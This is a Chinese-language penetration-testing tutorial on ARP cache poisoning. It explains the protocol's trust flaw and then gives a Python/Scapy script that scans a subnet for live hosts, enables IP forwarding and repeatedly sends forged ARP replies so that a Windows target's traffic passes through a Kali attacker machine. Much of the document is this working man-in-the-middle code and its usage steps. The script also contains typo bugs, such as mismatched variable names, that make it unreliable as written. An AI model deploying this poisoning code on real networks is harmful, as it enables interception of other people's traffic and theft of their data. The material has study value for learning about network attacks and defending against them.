Python渗透测试之ARP毒化和协议应用
1. ARP毒化
ARP毒化是一种比较老的渗透测试技术,通过ARP毒化技术分析并提取内网流量中的敏感信息,往往会有许多意外的收获。
1.1 工作原理
ARP(地址解析协议)是数据链路层的协议, 主要负责根据网络层地址(IP)来获取数据链路层地址(MAC)。以太网协议规定,同一局域网中的一台主机要和另一台主机进行直接通信,必须知道目标主机的MAC地址。而在TCP/IP中,网络只关注目标主机的IP地址,这就导致在以太网中使用IP协议时,数据链路层的以太网协议接收到网络层的IP协议提供的数据中,只包含目的主机IP地址,于是需要ARP来完成IP地址到MAC地址到转换。本地ARP缓存表是有生存周期的,ARP有一个重大缺陷:ARP是建立在网络中各个主机互相信任的基础上的,主机接收到ARP应答报文时不会检测该报文的真实性,而直接将报文中的IP和MAC记入其ARP缓存表。如果ARP缓存表中有相同的地址项,则会对其进行更新。由此,攻击者可以向受害者主机发送伪ARP应答包,毒化受害主机的ARP缓存表。如下图:
开始毒化时,攻击机会给靶机发送ARP应答包说“我就是网关”,同时也会给网关发送ARP应答包说“我就是靶机。由于ARP缺陷,靶机和网关都会认为这应答包是真的。这样靶机和网关之间的通信就变成上图所示,靶机和网关之间的流量都要通过攻击机。
靶机ARP毒化之前,网关IP和MAC地址、攻击机IP和MAC地址,缓存表如下图红框:
下图是攻击机MAC地址
靶机ARP毒化之后,网关IP和MAC地址,缓存表如下图红框:
网关MAC地址变成攻击机的MAC地址了。
1.2 ARP毒化及应用
运行环境:
攻击机:Linux kali 5.10.0
靶 机:Win10
功能模块:
获取网段内存活主机
获取指定IP主机的MAC地址
ARP毒化
示例代码如下:
#_*_coding:utf-8_*_
# 作者 :liuxiaowei
# 创建时间 :4/25/22 9:08 AM
# 文件 :arp获取网络存活主机.py
# IDE :PyCharm
from scapy.all import *
import sys
import os
# 存放本机的mac地址
lmac = ""
# 存放本机的ip地址
#lip = ""
# 存放存活主机的ip和mac的字典
liveHost = {
}
# 获取存活主机的IP地址和MAC地址的函数
def GetAllMAC(lip):
# IP扫描列表
scanList = lip + '/24'
try:
# 通过对每个IP都进行ARP广播,获得存活主机的MAC地址
ans, unans = srp(Ether(dst="FF:FF:FF:FF:FF:FF")/ARP(pdst=scanList), timeout=2)
except Exception as e:
print(e)
# ARP广播发送完毕后执行
else:
# ans包含存活主机返回的响应包和响应内容
for send, rcv in ans:
addrList = rcv.sprintf("%Ether.src%|%ARP.psrc%")
liveHost[addrList.split("|")[1]] = addrList.split("|")[0]
# 根据IP地址获取主机的MAC地址
def GetOneMAC(targetIP):
# 若该IP地址存在,则返回MAC地址
if targetIP in liveHost.keys():
return liveHost[targetIP]
else:
return 0
# ARP毒化函数
def poison(targetIP, gatewayIP, ifname):
# 获取毒化主机的MAC地址
targetMac = GetOneMAC(targetIP)
# 获取网关的MAC地址
gatewayMac = GetOneMAC(gatewayIP)
if targetMac and gatewaMac:
while True:
# 对目标主机毒化
sendp(Ether(src=lmac, dst=targetMac)/ARP(hwsrc =lmac, hwdst = targetMAC, psrc=gatewayIP, pdst=targetIP, op=2),
iface = ifname, verbose = False)
time.sleep(1)
else:
print('目标主机/网关主机IP有误,请检查!')
sys.exit(0)
if __name__ == "__main__":
# 程序界面
print('\t\t\033[0;30;46m === ARP协议功能应用 === \033[0m')
print('\n\t\t\t[1] 获取网段内存活主机:')
print('\n\t\t\t[2] 获取指定IP主机的MAC地址')
print('\n\t\t\t[3] ARP毒化')
print('\n\t\t\t[4] 退 出 ')
# while 循环
Done = True
while Done:
choice = int(input('\n\t\t\033[0;30;44m 请输入选项:\t \033[0m'))
if choice == 1:
lip = input('\n\t\t\033[0;30;44m 请输入网段地址:\t \033[0m')
GetAllMAC(lip)
print(f'\n开始收集存活的主机.....:\n{liveHost}')
print(f'存活主机数量为:{len(liveHost)}个')
elif choice == 2:
targetip = input('\n\t\t\033[0;30;44m 请输入指定主机地址:\t \033[0m')
print(f'主机{targetip}的MAC地址: {GetOneMAC(targetip)}')
elif choice == 3:
print('\033[0;30;41m 开启路由转发功能.........\033[0m')
os.system('echo 1 > /proc/sys/net/ipv4/ip_forward')
targetip = input('\n\t\t\033[0;30;44m 请输入目标主机IP地址:\t \033[0m')
gatewayip = input('\n\t\t\033[0;30;44m 请输入网关IP地址:\t \033[0m')
ifname = 'eth0'
lmac = get_if_hwaddr(ifname) # 获取本地mac地址
try:
print('\033[0;30;41m 开始毒化.........\033[0m')
print(lmac)
print(targetip)
poison(targetip, gatewayip, ifname)
except KeyboardInterrupt:
print('\033[0;30;41m === 停止ARP毒化 === \033[0m')
print('\033[0;30;41m === 停止路由转发功能 === \033[0m')
elif choice == 4:
Done = False
break
运行结果如下:
下图是程序运行界面
下图是获取网段内存活主机模块运行结果:
下图是获取指定IP地址主机的MAC地址模块运行结果:
下图是ARP毒化模块运行结果:
攻击机开启路由转发,所以靶机ping www.baidu.com是可以通的,数据包被攻击机捕获。